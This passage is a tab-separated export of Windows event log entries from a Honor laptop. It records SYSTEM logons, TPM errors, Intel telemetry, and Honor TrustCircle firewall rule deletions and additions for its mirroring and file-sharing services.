service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:02.931\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.050\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.074\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.076\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:31:03.108\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.193\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.193\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.268\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.331\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.331\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:03.440\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.606\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.725\t1\tThe Windows Security Center Service has started.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:31:03.773\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:03.937\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.223\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.233\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"ControlCenterTrayUI\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:04.262\t1002\tError 0x80070005 occurred while verifying known folder {5e6c858f-0e22-4760-9afe-ea3317b67173} with path 'C:\\Users\\admin'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:31:05.752\t15\tUpdated Windows Defender status successfully to SECURITY_PRODUCT_STATE_ON.\tInformation\tApplication\tSecurityCenter\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.435\t1\t\tInformation\tSystem\tDokan2\n05.09.2026 08:31:06.612\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{9BE5B4C9-88D0-43BB-BC6A-904308D6DF22}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.655\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{942D4F0B-D6EB-4B6A-BA8E-968479740A23}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.699\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{1B29CA73-70F2-4888-B1FF-5529A3CBA825}\n\tRule Name:\tHNMIRROR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.778\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{6BD78914-57CC-4AE2-8256-2A8241F304A3}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.825\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{395F0B8D-70D9-48F7-BF61-CA026A296CF8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.880\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{7922CEA8-4B6E-498F-8FF3-C5C6D55A6412}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:06.927\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.927\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.929\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.929\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:06.949\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{25561356-BD40-494A-A14B-E9E40181373B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.013\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{BCAC134D-07A7-4CF4-9104-663EF3AEC81C}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.060\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{1C1019A7-5DDE-451F-A029-A50D19003CA7}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.105\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{F0C0049F-D309-4878-AFE0-F72A7C7C7C9B}\n\tRule Name:\tHNEXSCREEN\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.282\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{0199F236-FADA-4802-BE23-FEAFB1D6B2C3}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.286\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{0199F236-FADA-4802-BE23-FEAFB1D6B2C3}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.288\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{68EE77E1-425B-4613-A88B-C905CB4913E5}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.290\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{68EE77E1-425B-4613-A88B-C905CB4913E5}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.296\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{B9FA39D4-DA07-49C3-9D05-81366D8565EB}\n\tRule Name:\tHNMIRROR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.300\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{B9FA39D4-DA07-49C3-9D05-81366D8565EB}\n\tRule Name:\tHNMIRROR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnMirror.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.445\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{1519AAE9-7ADA-467A-8630-79672866C5F8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.448\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{1519AAE9-7ADA-467A-8630-79672866C5F8}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.452\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{D8EC5264-8722-4C51-B12B-32617B645411}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.454\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{D8EC5264-8722-4C51-B12B-32617B645411}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.461\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{5B70920B-660F-4DFE-B2A0-6341133B5D76}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.464\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{5B70920B-660F-4DFE-B2A0-6341133B5D76}\n\tRule Name:\tDISTRIBUTEDFILESERVICE\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\distributedfileservice.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.525\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{03AA7394-D320-4E85-B2DC-8744EB6A680B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program 